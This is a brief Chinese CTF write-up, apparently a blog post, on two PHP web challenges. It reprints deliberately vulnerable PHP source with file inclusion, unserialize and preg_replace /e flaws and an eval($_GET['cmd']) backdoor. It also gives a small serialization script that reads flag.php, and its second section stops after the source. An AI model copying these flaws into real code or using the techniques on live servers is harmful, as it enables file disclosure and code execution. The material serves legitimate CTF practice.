[ZJCTF 2019]NiZhuanSiWei && [BJDCTF2020]ZJCTF，不过如此

rctf太难顶了 一点都不会 出来水个buu

[ZJCTF 2019]NiZhuanSiWei

  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
     
    echo "
".file_get_contents($text,'r')."
";
    if(preg_match("/flag/",$file)){
     
        echo "Not now!";
        exit(); 
    }else{
     
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
     
    highlight_file(__FILE__);
}
?>

php伪协议绕一下

然后file直接包含没显示 再一次伪协议

  

class Flag{
       //flag.php  
    public $file;  
    public function __tostring(){
       
        if(isset($this->file)){
       
            echo file_get_contents($this->file); 
            echo "
";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

随便跑一下

$a = new Flag;
$a->file="flag.php";
echo serialize($a);

传一下出flag

[BJDCTF2020]ZJCTF，不过如此

buu上复现是一模一样的

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
     
    echo "
".file_get_contents($text,'r')."
";
    if(preg_match("/flag/",$file)){
     
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
     
    highlight_file(__FILE__);
}
?>

一样的套路拿到源码

$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
     
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
     
    echo complex($re, $str). "\n";
}

function getFlag(){
     
	@eval($_GET['cmd']);
}